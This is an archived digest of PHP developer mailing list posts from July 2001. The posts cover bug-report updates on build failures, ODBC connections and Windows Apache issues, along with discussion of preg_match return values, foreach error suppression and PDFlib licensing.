date:20010702

[PHP-DEV] ChangeLog

2001-07-02 Thread Derick Rethans


Hello,

I just noticed that the ChangeLog does not get updated. The last entry is:
2001-05-23  Sascha Schumann  <[EMAIL PROTECTED]>

And that's more than a month ago.

regards,

Derick Rethans

-
PHP: Scripting the Web - www.php.net - [EMAIL PROTECTED]
 SRM: Site Resource Manager - www.vl-srm.net
-


-- 
PHP Development Mailing List 
To unsubscribe, e-mail: [EMAIL PROTECTED]
For additional commands, e-mail: [EMAIL PROTECTED]
To contact the list administrators, e-mail: [EMAIL PROTECTED]

[PHP-DEV] Bug #11796 Updated: get_meta_tags doesn't work when the title tag consists of single quote

2001-07-02 Thread derick


ID: 11796
Updated by: derick
Reported By: [EMAIL PROTECTED]
Status: Closed
Bug Type: Unknown/Other Function
Operating system: 
PHP Version: 4.0.5
Assigned To: elixer
Comments:

>From the ChangeLog:

2001-03-06  Sean Bright  <[EMAIL PROTECTED]>

* ext/standard/file.c: Typo.

* ext/standard/file.c:
get_meta_tags now allows attributes that are not quoted as well as those
that are.  It follows the HTML 4.01 specification for attribute values
outlined here -> http://www.w3.org/TR/html4/intro/sgmltut.html#h-3.2.2

You could have checked this yourself BTW.

Derick

Previous Comments:
---

[2001-07-03 02:12:28] [EMAIL PROTECTED]

Hi, have another question.
Is this bug fixed in 4.0.6?
If so, I would rather upgrade my php to 4.0.6.

Thanks.




---

[2001-07-02 04:12:45] [EMAIL PROTECTED]

Either grab a snapshot form snaps.php.net or follow the instructions on getting the 
CVS version on: www.php.net/anoncvs.php

Derick

---

[2001-07-02 04:11:02] [EMAIL PROTECTED]

http://www.php.net/anoncvs.php


---

[2001-07-02 04:05:45] [EMAIL PROTECTED]

where can I get the latest CVS? Thanks.

---

[2001-06-30 16:04:45] [EMAIL PROTECTED]

Fixed in latest CVS.  Thank you for your report.

---

The remainder of the comments for this report are too long.
To view the rest of the comments, please
view the bug report online.


ATTENTION! Do NOT reply to this email!
To reply, use the web interface found at http://bugs.php.net/?id=11796&edit=2


-- 
PHP Development Mailing List 
To unsubscribe, e-mail: [EMAIL PROTECTED]
For additional commands, e-mail: [EMAIL PROTECTED]
To contact the list administrators, e-mail: [EMAIL PROTECTED]

[PHP-DEV] Bug #11846 Updated: AL EJECUTAR MAKE MARCA ERROR

2001-07-02 Thread derick


ID: 11846
Updated by: derick
Reported By: [EMAIL PROTECTED]
Old-Status: Open
Status: Feedback
Bug Type: Compile Failure
Operating system: 
PHP Version: 4.0.6
Assigned To: 
Comments:

For now you can disable the use of MySQL by adding --withot-mysql to your configire 
line.

./configure --with-informix=yes --with-apache=/admvos/apache/apache_1.3.19
--enable-sysvsem --enable-sysvshm --without-mysql

I reported this to the MySQL folks, as

Previous Comments:
---

[2001-07-02 17:43:58] [EMAIL PROTECTED]

THE VERSION installed version at the moment is 3.0.18 without problem. 
not compile with mysql, use to informix database
the procedure is
1.- 
$ cd apache_1.3.19
$ ./configure  # OK NO ERROR
$ cd ../php4.0.6
$ cd php-4.0.6
$ ./configure --with-informix=yes --with-apache=/admvos/apache/apache_1.3.19 
--enable-sysvsem --enable -sysvshm# OK NO ERROR
$ make 
Making all in libmysql
cc  -I. -I/admvos/sistgczo/php-4.0.6/ext/mysql/libmysql 
-I/admvos/sistgczo/php-4.0.6/main -I/admvos/sistgczo/php-4.0.6 
-I/admvos/apache/apache_1.3.19/src/include -I/admvos/apache/apache_1.3.19/src/os/unix 
-I/admvos/sistgczo/php-4.0.6/Zend -I/usr/informix/incl/esql 
-I/admvos/sistgczo/php-4.0.6/ext/mysql/libmysql 
-I/admvos/sistgczo/php-4.0.6/ext/xml/expat/xmltok 
-I/admvos/sistgczo/php-4.0.6/ext/xml/expat/xmlparse -I/admvos/sistgczo/php-4.0.6/TSRM  
-DSUPPORT_UTF8 -DXML_BYTE_ORDER=12   -c my_init.c && touch my_init.lo
NCR High Performance C Compiler R3.0c
(c) Copyright 1994-97, NCR Corporation
(c) Copyright 1987-97, MetaWare Incorporated
E "my_init.c",L44/C7(#237): INT_MAX: Identifier is undeclared.
w "my_init.c",L100/C9(#257):'=' encountered where '==' may have been intended.
1 user error   1 warning
*** Error code 1 (bu21)

make: fatal error.
*** Error code 1 (bu21)

make: fatal error.
*** Error code 1 (bu21)

make: fatal error.
*** Error code 1 (bu21)

make: fatal error.
*** Error code 1 (bu21)

make: fatal error.# THE LAST 25 LINES
$
THE VERSION installed version at the moment is 3.0.18 without problem. 

THANKS  GRACIAS

---

[2001-07-02 15:18:00] [EMAIL PROTECTED]

You get this error during the compilation of the mysql client libraries that are 
bundled with PHP.
Can you compile MySQL without problems? And can you possibly try gcc for the 
compilation of PHP?
What is you configure line?

Derick

---

[2001-07-02 15:15:00] [EMAIL PROTECTED]

NCR High Performance C Compiler R3.0c
(c) Copyright 1994-97, NCR Corporation
(c) Copyright 1987-97, MetaWare Incorporated
E "my_init.c",L44/C7(#237): INT_MAX: Identifier is undeclared.
w "my_init.c",L100/C9(#257):'=' encountered where '==' may have been intended.
1 user error   1 warning
*** Error code 1 (bu21)

make: fatal error.
*** Error code 1 (bu21)

make: fatal error.
*** Error code 1 (bu21)

make: fatal error.
*** Error code 1 (bu21)

make: fatal error.
*** Error code 1 (bu21)

make: fatal error.

---



ATTENTION! Do NOT reply to this email!
To reply, use the web interface found at http://bugs.php.net/?id=11846&edit=2


-- 
PHP Development Mailing List 
To unsubscribe, e-mail: [EMAIL PROTECTED]
For additional commands, e-mail: [EMAIL PROTECTED]
To contact the list administrators, e-mail: [EMAIL PROTECTED]

[PHP-DEV] Bug #11796 Updated: get_meta_tags doesn't work when the title tag consists of single quote

2001-07-02 Thread teocl


ID: 11796
User Update by: [EMAIL PROTECTED]
Status: Closed
Bug Type: Unknown/Other Function
Operating system: Linux
PHP Version: 4.0.5
Description: get_meta_tags doesn't work when the title tag consists of single quote

Hi, have another question.
Is this bug fixed in 4.0.6?
If so, I would rather upgrade my php to 4.0.6.

Thanks.




Previous Comments:
---

[2001-07-02 04:12:45] [EMAIL PROTECTED]

Either grab a snapshot form snaps.php.net or follow the instructions on getting the 
CVS version on: www.php.net/anoncvs.php

Derick

---

[2001-07-02 04:11:02] [EMAIL PROTECTED]

http://www.php.net/anoncvs.php


---

[2001-07-02 04:05:45] [EMAIL PROTECTED]

where can I get the latest CVS? Thanks.

---

[2001-06-30 16:04:45] [EMAIL PROTECTED]

Fixed in latest CVS.  Thank you for your report.

---

[2001-06-30 11:35:21] [EMAIL PROTECTED]

I'll take this one.

---

The remainder of the comments for this report are too long.
To view the rest of the comments, please
view the bug report online.

Full Bug description available at: http://bugs.php.net/?id=11796


-- 
PHP Development Mailing List 
To unsubscribe, e-mail: [EMAIL PROTECTED]
For additional commands, e-mail: [EMAIL PROTECTED]
To contact the list administrators, e-mail: [EMAIL PROTECTED]

[PHP-DEV] Bug #11850: anormal behavior of keyword parent

2001-07-02 Thread gerardo


From: [EMAIL PROTECTED]
Operating system: SunOS 5.7
PHP version:  4.0.4pl1
PHP Bug Type: Compile Failure
Bug description:  anormal behavior of keyword parent

the use of the parent keyword when the inherited class is in a different file from the 
parent class produces an error:
(just by  writing both classes on a single file avoids the problem)

Fatal error: No parent class available in this context in file_of_inherited_class.php

example:

file: a.php
--
class a {
function f() {
echo "a::f()" ;
}   
}

file: b.php
---
class b extends a {
function f() {
echo parent::f() ;  // < error when compiling 
echo "b::f()" ;
}   
}

$obj = new b() ;
$obj->f();


-- 
Edit Bug report at: http://bugs.php.net/?id=11850&edit=1



-- 
PHP Development Mailing List 
To unsubscribe, e-mail: [EMAIL PROTECTED]
For additional commands, e-mail: [EMAIL PROTECTED]
To contact the list administrators, e-mail: [EMAIL PROTECTED]

Re: [PHP-DEV] Bug #11818 Updated: Using the PDF functions after July1st triggers an internal PDFlib error

2001-07-02 Thread Joey Smith


Surely you are kidding.

I cannot see in any of our packages where we bundle the PDF library with
our release. If we are, we should probably remove it.

In either case, there is no way we can compile an unencumbered version
of PDFLib. That would be illegal. PDFLib is not free, in the
"gratis" sense.

This is like making the fact that Win32 does not come with a free C
compiler PHP's problem, based on the fact that you need one to compile
your own binary. It's absolutely ridiculous.

On Sun, 1 Jul 2001, Joao Prado Maia wrote the following to [EMAIL PROTECTED] :


> That is not true at all, if you bundle the PDF library with PHP releases
> on the Windows binary it starts being your problem too. I just went to
> pdflib.com and it seems to me that binary packages of pdflib for Windows
> have a demo / time limit. May I suggest to whoever packaged the Windows
> binary version of PHP to compile the source code of pdflib on Windows, so
> to create a limit free version of PDFlib ?
> 
> Joao


-- 
PHP Development Mailing List 
To unsubscribe, e-mail: [EMAIL PROTECTED]
For additional commands, e-mail: [EMAIL PROTECTED]
To contact the list administrators, e-mail: [EMAIL PROTECTED]

[PHP-DEV] Re: [Zend Engine 2] substr changes

2001-07-02 Thread Andre Langhorst


> Just one thing I did want to point out - this has nothing to do with 
> Zend 3 or whatever.  I oppose this feature not because lack of time to 
> implement it or because it's difficult to implement, but because it 
> doesn't belong in PHP.  Personally, I wouldn't want to see it even in 
> PHP 7.0...


although disagreeing, I agree in completely skipping this then, as 
previously proposed...

what about operator overloading in exchange? ;)

andré

 



-- 
· André Langhorstt: +49 331 5811560 ·
· [EMAIL PROTECTED]  m: +49 173 9558736 ·
* PHP Quality Assurance  http://qa.php.net  *


-- 
PHP Development Mailing List 
To unsubscribe, e-mail: [EMAIL PROTECTED]
For additional commands, e-mail: [EMAIL PROTECTED]
To contact the list administrators, e-mail: [EMAIL PROTECTED]

Re: [PHP-DEV] switch, equality and preg_match

2001-07-02 Thread Jon Parise

On Mon, Jul 02, 2001 at 05:01:43PM -0500, Brian Moon wrote:

> IMO, I like preg_match to return a bool and preg_match_all return a count.
> But that is me.  It may be thought of as inconsistent to some.  I just see
> the functions has having a different purpose.

That would make sense.  preg_match_all() would return 1 if only
one match is found, so there's no need for preg_match() to return
the number of matches.

However, even if preg_match() were to return a one or zero, it
would still function the same in boolean evaluations.  That makes
the whole thing simply a matter of "correctness".  Returning an
'int' would be more consistent but returning a boolean would be
specific.

-- 
Jon Parise ([EMAIL PROTECTED])  .  Rochester Inst. of Technology
http://www.csh.rit.edu/~jon/  :  Computer Science House Member

-- 
PHP Development Mailing List 
To unsubscribe, e-mail: [EMAIL PROTECTED]
For additional commands, e-mail: [EMAIL PROTECTED]
To contact the list administrators, e-mail: [EMAIL PROTECTED]

[PHP-DEV] Bug #11849: random "duplicit rule name" error

2001-07-02 Thread bsarsgard


From: [EMAIL PROTECTED]
Operating system: Linux
PHP version:  4.0.5
PHP Bug Type: Sablotron XSL
Bug description:  random "duplicit rule name" error

Randomly, any pages that normally work fine (all pages on the site), die with:

Fatal error: duplicit rule name 'nav_new'

"nav_new" is the name of the first named template in the xsl document.  Other pages 
report different ones, whichever is first in the document.

If I go get a cup of coffee, they'll usually work again by the time I come back.  I 
can't see any pattern as to what triggers the problem.

Here's my config:

'./configure' '--prefix=/usr' '--with-apxs=/usr/sbin/apxs' '--with-gd' 
'--enable-safe-mode' '--with-config-file-path=/etc/httpd' '--with-exec-dir=/usr/bin' 
'--enable-magic-quotes' '--with-regex=system' '--with-ttf=/usr/lib/libttf.so' 
'--enable-track-vars' '--enable-xml' '--with-mysql=/usr' '--with-pgsql' 
'--with-trans-sid' '--with-dom=/usr' '--with-zlib=/usr' '--with-java=/usr/java/jdk1.3' 
'--with-sablot=/usr/local/lib' '--with-expat=/usr/local/lib' 
'--with-pdflib=/usr/local/lib' '--with-cpdflib=/usr/local/include' 
'--with-fdf=/usr/lib'

I'm using Sablotron 0.60




-- 
Edit Bug report at: http://bugs.php.net/?id=11849&edit=1



-- 
PHP Development Mailing List 
To unsubscribe, e-mail: [EMAIL PROTECTED]
For additional commands, e-mail: [EMAIL PROTECTED]
To contact the list administrators, e-mail: [EMAIL PROTECTED]

[PHP-DEV] Bug #11848 Updated: microtime.c compilation

2001-07-02 Thread sniper


ID: 11848
Updated by: sniper
Reported By: [EMAIL PROTECTED]
Old-Status: Closed
Status: Bogus
Bug Type: Compile Failure
Operating system: 
PHP Version: 4.0.6
Assigned To: 
Comments:



Previous Comments:
---

[2001-07-02 15:43:56] [EMAIL PROTECTED]

I've tried to compile using:
'./configure --with-mysql 
--with-apx=/usr/local/apache/bin/apxs'
and after typing 'make', it said:

microtime.c: In function `php_if_getrusage':
microtime.c:99: storage size of `usg' isn't known
microtime.c:102: `RUSAGE_SELF' undeclared (first use in 
this function)
microtime.c:102: (Each undeclared identifier is reported 
only once
microtime.c:102: for each function it appears in.)
microtime.c:108: `RUSAGE_CHILDREN' undeclared (first use 
in this function)


---



ATTENTION! Do NOT reply to this email!
To reply, use the web interface found at http://bugs.php.net/?id=11848&edit=2


-- 
PHP Development Mailing List 
To unsubscribe, e-mail: [EMAIL PROTECTED]
For additional commands, e-mail: [EMAIL PROTECTED]
To contact the list administrators, e-mail: [EMAIL PROTECTED]

[PHP-DEV] language development list

2001-07-02 Thread jimw


the perl, python, and tcl guys have put together a list to talk about
common issues in language development (like unicode, threads, numeric
conversions, etc). i figured the language geeks lurking here might be
interested. subscribe by sending a blank mail to
[EMAIL PROTECTED]

jim

-- 
PHP Development Mailing List 
To unsubscribe, e-mail: [EMAIL PROTECTED]
For additional commands, e-mail: [EMAIL PROTECTED]
To contact the list administrators, e-mail: [EMAIL PROTECTED]

[PHP-DEV] Bug #5332 Updated: ODBC Connect Fails for Sybase SQLanywhere DB

2001-07-02 Thread wade


ID: 5332
User Update by: [EMAIL PROTECTED]
Old-Status: Assigned
Status: Closed
Bug Type: ODBC related
Operating system: Windows 2000
PHP Version: 4.0 Release Candidate 2
Description: ODBC Connect Fails for Sybase SQLanywhere DB

Hello All!

I just tested the odbc connection to Sybase SQLAnywhere using PHP 4.0.6.  I am happy 
to report that I was able to connect to the database and retrieve data via the odbc 
function calls.

Thank you for your continued review and enhancements.

Regards,

Wade Johnson

Previous Comments:
---

[2001-06-26 17:53:15] [EMAIL PROTECTED]

assigning to joey as he knows Sybase rather well, and 
well... I don't.  :  Plus he has it installed... 

---

[2001-05-17 04:48:08] [EMAIL PROTECTED]

The first parameter of the odbc_connect function call is datasource name.  If I don't 
supply a valid datasource name as maintained in the odbc datasource administrator, I 
receive the following error message:

Warning: SQL error: [Microsoft][ODBC Driver Manager] Data source name not found and no 
default driver specified, SQL state IM002 in SQLConnect in 
C:Inetpubwwwrootwjsqlanywhere.php on line 16

If I provide a valid datasource name, I receive the following error message:

Warning: SQL error: [Sybase][ODBC Driver]Unable to connect to database server: 
database engine not running, SQL state 08001 in SQLConnect in 
C:Inetpubwwwrootwjsqlanywhere.php on line 16

Please note once again.  THE VERY SAME datasource definition can be used to connect to 
the database via Excel or Borland C++, etc.

---

[2001-05-16 19:01:32] [EMAIL PROTECTED]

The SQL error you are receiving is "Server rejected access"
I'm wondering if your odbc_connect only needs "wald" instead
of "waldserver - wald"



---

[2001-03-26 16:22:39] [EMAIL PROTECTED]

Yes, this is still happening.  I have loaded PHP version 4.04 PL1.  I am trying to run 
the following simple script:

-



Neue Seite 2










The output I receive is:

Warning: SQL error: [Sybase][ODBC Driver]Unable to connect to database server: unable 
to start database engine, SQL state 08001 in SQLConnect in 
c:inetpubwwwrootodbctestdefault.php on line 11
Odbc connection variable: 
Warning: Supplied argument is not a valid ODBC-Link resource in 
c:inetpubwwwrootodbctestdefault.php on line 13

Warning: Supplied argument is not a valid ODBC-Link resource in 
c:inetpubwwwrootodbctestdefault.php on line 15

Warning: Supplied argument is not a valid ODBC-Link resource in 
c:inetpubwwwrootodbctestdefault.php on line 15
03.26.2001 22:50:23 Westeuropäische Normalzeit 

-
I have enabled the ODBC log.  However, the log shows absolutely nothing for this ODBC 
connection attempt via PHP.  I can connect via Excel and Borland DB explorer for 
example.  Here are excerpts from the odbc logs:

ODBC via Excel:

MSQRY32 5ac-850 ENTER SQLDriverConnectW 
HDBC00811910
HWND00020564
WCHAR * 0x1F7D8B70 [  -3] "** 0"
SWORD   -3 
WCHAR * 0x1F7D8B70 
SWORD8 
SWORD * 0x
UWORD1 

MSQRY32 5ac-850 EXIT  SQLDriverConnectW  with return code 0 (SQL_SUCCESS)
HDBC00811910
HWND00020564
WCHAR * 0x1F7D8B70 [  -3] "** 0"
SWORD   -3 
WCHAR * 0x1F7D8B70 
SWORD8 
SWORD * 0x
UWORD1 

MSQRY32 5ac-850 ENTER SQLGetInfoW 
HDBC00811910
UWORD2 
PTR 0x00811A40 
SWORD 2048 
SWORD * 0x0006EF96

MSQRY32 5ac-850 EXIT  SQLGetInfoW  with return code 0 (SQL_SUCCESS)
HDBC00811910
UWORD2 
PTR 0x00811A40 [  30] "wadlserv - wadl"
SWORD 2048 
SWORD * 0x0006EF96 (30)




ODBC from Borland DB Explorer:
dbexplor88c

Re: [PHP-DEV] switch, equality and preg_match

2001-07-02 Thread Brian Moon


IMO, I like preg_match to return a bool and preg_match_all return a count.
But that is me.  It may be thought of as inconsistent to some.  I just see
the functions has having a different purpose.

Brian Moon
--
dealnews.com, Inc.
Makers of dealnews & dealmac
http://dealnews.com/ | http://dealmac.com/


- Original Message -
From: "Andrei Zmievski" <[EMAIL PROTECTED]>
To: "Daniel Beckham" <[EMAIL PROTECTED]>; <[EMAIL PROTECTED]>
Sent: Monday, July 02, 2001 3:47 PM
Subject: Re: [PHP-DEV] switch, equality and preg_match


> On Sun, 01 Jul 2001, Andrei Zmievski wrote:
> > At 09:06 AM 7/1/01 -0500, Daniel Beckham wrote:
> > >Someone poke me when you decide what to do and I'll change the return
type
> > >in the preg_match docs.
> >
> > I need to take a closer look at the code to see why it is that way.
>
> Okay, this is because both preg_match and preg_match_all use the same
> function internally, so the return type for both is an integer
> indicating the number of matches. Do you really think it should be
> changed?
>
> -Andrei
>
> "Tomorrow the sun will rise. And who knows what the tide will bring?"
> - Tom Hanks, in "Cast Away"
>
> --
> PHP Development Mailing List 
> To unsubscribe, e-mail: [EMAIL PROTECTED]
> For additional commands, e-mail: [EMAIL PROTECTED]
> To contact the list administrators, e-mail: [EMAIL PROTECTED]
>
>
>


-- 
PHP Development Mailing List 
To unsubscribe, e-mail: [EMAIL PROTECTED]
For additional commands, e-mail: [EMAIL PROTECTED]
To contact the list administrators, e-mail: [EMAIL PROTECTED]

Re: [PHP-DEV] foreach behavior and error suppression (@foo)

2001-07-02 Thread Zeev Suraski


We may actually make an attempt at it in the engine 2 :)

At 00:33 3/7/2001, Daniel Beckham wrote:
>I know this will be also shot down, but at least I tried.  What about the
>possiblity of foreach simply acting on the variable as if it was list($var)
>or array($var)?  It seems that it wouldn't break any existing behavior, but
>would only make foreach more flexible.
>
>Daniel
>
>- Original Message -
>From: "Zeev Suraski" <[EMAIL PROTECTED]>
>To: "Daniel Beckham" <[EMAIL PROTECTED]>
>Cc: "php-dev" <[EMAIL PROTECTED]>
>Sent: Monday, July 02, 2001 4:19 PM
>Subject: Re: [PHP-DEV] foreach behavior and error suppression (@foo)
>
>
> > If the question is about
> > @foreach(...) ...
> >
> > Then the answer is somewhere between 'hell no!' and 'not possible with the
> > current state of the code'.  foreach is a statement, whereas @ is an
> > operator that works on expressions...
> >
> > At 00:16 3/7/2001, Daniel Beckham wrote:
> > >There are several open feature requests in the bug system to allow the
>use
> > >of @ to suppress warnings when using a non array with foreach.  What's
>the
> > >status of this?  Is this a "hell no!", "not possible with the current
>state
> > >of the code" or a "when we get around to it"?
> > >
> > >Thanks,
> > >
> > >Daniel
> > >
> > >
> > >--
> > >PHP Development Mailing List 
> > >To unsubscribe, e-mail: [EMAIL PROTECTED]
> > >For additional commands, e-mail: [EMAIL PROTECTED]
> > >To contact the list administrators, e-mail: [EMAIL PROTECTED]
> >
> > --
> > Zeev Suraski <[EMAIL PROTECTED]>
> > CTO &  co-founder, Zend Technologies Ltd. http://www.zend.com/
> >
> >
> > --
> > PHP Development Mailing List 
> > To unsubscribe, e-mail: [EMAIL PROTECTED]
> > For additional commands, e-mail: [EMAIL PROTECTED]
> > To contact the list administrators, e-mail: [EMAIL PROTECTED]
> >
> >
>
>
>--
>PHP Development Mailing List 
>To unsubscribe, e-mail: [EMAIL PROTECTED]
>For additional commands, e-mail: [EMAIL PROTECTED]
>To contact the list administrators, e-mail: [EMAIL PROTECTED]

--
Zeev Suraski <[EMAIL PROTECTED]>
CTO &  co-founder, Zend Technologies Ltd. http://www.zend.com/


-- 
PHP Development Mailing List 
To unsubscribe, e-mail: [EMAIL PROTECTED]
For additional commands, e-mail: [EMAIL PROTECTED]
To contact the list administrators, e-mail: [EMAIL PROTECTED]

[PHP-DEV] Bug #8866 Updated: Frozen applications with apache module running

2001-07-02 Thread gvz


ID: 8866
User Update by: [EMAIL PROTECTED]
Old-Status: Feedback
Status: Open
Bug Type: Apache related
Operating system: Windows 95b, 98
PHP Version: 4.0.4pl1
Description: Frozen applications with apache module running

Same explanation as bug 8865: it only happens when PHP is loaded as a module. It 
doesn't happen without PHP or with PHP running as CGI. It doesn't happen with plain 
apache.

Previous Comments:
---

[2001-06-14 20:39:28] [EMAIL PROTECTED]

And this only happens when Apache has PHP enabled?
If you comment the loading of the module, and stop
and start apache, does it still happen?


---

[2001-01-23 12:31:21] [EMAIL PROTECTED]

When running as module, there's a conflict with some applications; tested applications 
include (but are not  limited to):
 Eudora lite 3.0.6
 Servant Salamander
 EditPlus
 Mozilla 0.7
they freeze upon launching, unfreez when apache is stopped, and work ok from then on 
when apache is restarted.

---


Full Bug description available at: http://bugs.php.net/?id=8866


-- 
PHP Development Mailing List 
To unsubscribe, e-mail: [EMAIL PROTECTED]
For additional commands, e-mail: [EMAIL PROTECTED]
To contact the list administrators, e-mail: [EMAIL PROTECTED]

[PHP-DEV] Bug #8865 Updated: App launching with hotkeys delayed

2001-07-02 Thread gvz


ID: 8865
User Update by: [EMAIL PROTECTED]
Old-Status: Feedback
Status: Open
Bug Type: Apache related
Operating system: Windows 95b, 98
PHP Version: 4.0.4pl1
Description: App launching with hotkeys delayed

No. It only happens when PHP is loaded as a module. If it happens when used as CGI it 
is not noticeable, since it runs for just a few moments. Probably a web server with 
lots of traffic could cause the same problem, but mine is a small intranet so I 
wouldn't notice.

Previous Comments:
---

[2001-06-14 20:40:36] [EMAIL PROTECTED]

Does this happen if you comment out the PHP loadmodule
statement in apache conf? (and stop / start apache)




---

[2001-05-12 20:02:11] [EMAIL PROTECTED]

I just tried with 4.0.5, and it happens just the same. Also the condition I explained 
in bug 8864 still holds constant. 

More info:
-Win95 SR-2, Winsock 2 patch, IP (for ws2) patch, TCP (for ws2) patch, comdlg401 
patch, DCOM95 installed.
-Apache 1.3.12, no bells, no whistles, just out-of-the-box
-PHP 4.0.5 (binary download from php.net)
-NO extensions loaded, just plain PHP.
-Not related to any particular code, this is is a condition on windows itself: apache 
and php run beautifully. The trouble occurs for other apps when apache runs with the 
apache-php module.
-The slowing down of apps launched using hotkeys is NOT related to any particular 
application, but is a windows delay. The delay is for the launching (5-7 sec. delay 
with freeze-up), not for normal running once an app has been launched. If I get things 
running, everything works ok.
-No apparent relation to any other running app: I've tried shutting down everything 
(yhat is, only explorer running), and then launching apache with php as a module, and 
the condition persists just the same.

I'll try 4.0.6dev on a win98 box and report back.

Hope this helps.
Gonzalo.

---

[2001-05-12 12:49:46] [EMAIL PROTECTED]

Can you please try it with 4.0.5, or preferrable php-4.0.6dev ?

---

[2001-05-12 10:53:48] [EMAIL PROTECTED]

Sure does! I haven't tried php 4.0.5-dev on this, but 4.0.4 pl1 does. I still think it 
must be related to bug 8864 (which died as I didn't give any prompt feedback, but is 
also real).

It's not a Win95 issue only, it also happens on Win98 (haven't tried Win Me).

---

[2001-05-11 21:07:42] [EMAIL PROTECTED]

Does this still happen?

--Jani


---

The remainder of the comments for this report are too long.
To view the rest of the comments, please
view the bug report online.

Full Bug description available at: http://bugs.php.net/?id=8865


-- 
PHP Development Mailing List 
To unsubscribe, e-mail: [EMAIL PROTECTED]
For additional commands, e-mail: [EMAIL PROTECTED]
To contact the list administrators, e-mail: [EMAIL PROTECTED]

[PHP-DEV] Bug #11846 Updated: AL EJECUTAR MAKE MARCA ERROR

2001-07-02 Thread ggalindo


ID: 11846
User Update by: [EMAIL PROTECTED]
Old-Status: Feedback
Status: Open
Bug Type: Compile Problem
Operating system: NCR WM 4300 unix systema V MP-RA
PHP Version: 4.0.6
Description: AL EJECUTAR MAKE MARCA ERROR

THE VERSION installed version at the moment is 3.0.18 without problem. 
not compile with mysql, use to informix database
the procedure is
1.- 
$ cd apache_1.3.19
$ ./configure  # OK NO ERROR
$ cd ../php4.0.6
$ cd php-4.0.6
$ ./configure --with-informix=yes --with-apache=/admvos/apache/apache_1.3.19 
--enable-sysvsem --enable -sysvshm# OK NO ERROR
$ make 
Making all in libmysql
cc  -I. -I/admvos/sistgczo/php-4.0.6/ext/mysql/libmysql 
-I/admvos/sistgczo/php-4.0.6/main -I/admvos/sistgczo/php-4.0.6 
-I/admvos/apache/apache_1.3.19/src/include -I/admvos/apache/apache_1.3.19/src/os/unix 
-I/admvos/sistgczo/php-4.0.6/Zend -I/usr/informix/incl/esql 
-I/admvos/sistgczo/php-4.0.6/ext/mysql/libmysql 
-I/admvos/sistgczo/php-4.0.6/ext/xml/expat/xmltok 
-I/admvos/sistgczo/php-4.0.6/ext/xml/expat/xmlparse -I/admvos/sistgczo/php-4.0.6/TSRM  
-DSUPPORT_UTF8 -DXML_BYTE_ORDER=12   -c my_init.c && touch my_init.lo
NCR High Performance C Compiler R3.0c
(c) Copyright 1994-97, NCR Corporation
(c) Copyright 1987-97, MetaWare Incorporated
E "my_init.c",L44/C7(#237): INT_MAX: Identifier is undeclared.
w "my_init.c",L100/C9(#257):'=' encountered where '==' may have been intended.
1 user error   1 warning
*** Error code 1 (bu21)

make: fatal error.
*** Error code 1 (bu21)

make: fatal error.
*** Error code 1 (bu21)

make: fatal error.
*** Error code 1 (bu21)

make: fatal error.
*** Error code 1 (bu21)

make: fatal error.# THE LAST 25 LINES
$
THE VERSION installed version at the moment is 3.0.18 without problem. 

THANKS  GRACIAS

Previous Comments:
---

[2001-07-02 15:18:00] [EMAIL PROTECTED]

You get this error during the compilation of the mysql client libraries that are 
bundled with PHP.
Can you compile MySQL without problems? And can you possibly try gcc for the 
compilation of PHP?
What is you configure line?

Derick

---

[2001-07-02 15:15:00] [EMAIL PROTECTED]

NCR High Performance C Compiler R3.0c
(c) Copyright 1994-97, NCR Corporation
(c) Copyright 1987-97, MetaWare Incorporated
E "my_init.c",L44/C7(#237): INT_MAX: Identifier is undeclared.
w "my_init.c",L100/C9(#257):'=' encountered where '==' may have been intended.
1 user error   1 warning
*** Error code 1 (bu21)

make: fatal error.
*** Error code 1 (bu21)

make: fatal error.
*** Error code 1 (bu21)

make: fatal error.
*** Error code 1 (bu21)

make: fatal error.
*** Error code 1 (bu21)

make: fatal error.

---


Full Bug description available at: http://bugs.php.net/?id=11846


-- 
PHP Development Mailing List 
To unsubscribe, e-mail: [EMAIL PROTECTED]
For additional commands, e-mail: [EMAIL PROTECTED]
To contact the list administrators, e-mail: [EMAIL PROTECTED]

Re: [PHP-DEV] foreach behavior and error suppression (@foo)

2001-07-02 Thread Daniel Beckham


I know this will be also shot down, but at least I tried.  What about the
possiblity of foreach simply acting on the variable as if it was list($var)
or array($var)?  It seems that it wouldn't break any existing behavior, but
would only make foreach more flexible.

Daniel

- Original Message -
From: "Zeev Suraski" <[EMAIL PROTECTED]>
To: "Daniel Beckham" <[EMAIL PROTECTED]>
Cc: "php-dev" <[EMAIL PROTECTED]>
Sent: Monday, July 02, 2001 4:19 PM
Subject: Re: [PHP-DEV] foreach behavior and error suppression (@foo)


> If the question is about
> @foreach(...) ...
>
> Then the answer is somewhere between 'hell no!' and 'not possible with the
> current state of the code'.  foreach is a statement, whereas @ is an
> operator that works on expressions...
>
> At 00:16 3/7/2001, Daniel Beckham wrote:
> >There are several open feature requests in the bug system to allow the
use
> >of @ to suppress warnings when using a non array with foreach.  What's
the
> >status of this?  Is this a "hell no!", "not possible with the current
state
> >of the code" or a "when we get around to it"?
> >
> >Thanks,
> >
> >Daniel
> >
> >
> >--
> >PHP Development Mailing List 
> >To unsubscribe, e-mail: [EMAIL PROTECTED]
> >For additional commands, e-mail: [EMAIL PROTECTED]
> >To contact the list administrators, e-mail: [EMAIL PROTECTED]
>
> --
> Zeev Suraski <[EMAIL PROTECTED]>
> CTO &  co-founder, Zend Technologies Ltd. http://www.zend.com/
>
>
> --
> PHP Development Mailing List 
> To unsubscribe, e-mail: [EMAIL PROTECTED]
> For additional commands, e-mail: [EMAIL PROTECTED]
> To contact the list administrators, e-mail: [EMAIL PROTECTED]
>
>


-- 
PHP Development Mailing List 
To unsubscribe, e-mail: [EMAIL PROTECTED]
For additional commands, e-mail: [EMAIL PROTECTED]
To contact the list administrators, e-mail: [EMAIL PROTECTED]

Re: [PHP-DEV] foreach behavior and error suppression (@foo)

2001-07-02 Thread Daniel Beckham


Yes, it would be nice for foreach to be a little more forgiving even if it
is far in the future.

Daniel

- Original Message -
From: "Zak Greant" <[EMAIL PROTECTED]>
To: "Daniel Beckham" <[EMAIL PROTECTED]>; "php-dev"
<[EMAIL PROTECTED]>
Sent: Monday, July 02, 2001 4:18 PM
Subject: Re: [PHP-DEV] foreach behavior and error suppression (@foo)


> Perhaps we want to roll this request into the list of proposed changes for
> PHP 5?
>
> --zak
>
> - Original Message -
> From: "Daniel Beckham" <[EMAIL PROTECTED]>
> To: "php-dev" <[EMAIL PROTECTED]>
> Sent: Monday, July 02, 2001 3:16 PM
> Subject: [PHP-DEV] foreach behavior and error suppression (@foo)
>
>
> > There are several open feature requests in the bug system to allow the
use
> > of @ to suppress warnings when using a non array with foreach.  What's
the
> > status of this?  Is this a "hell no!", "not possible with the current
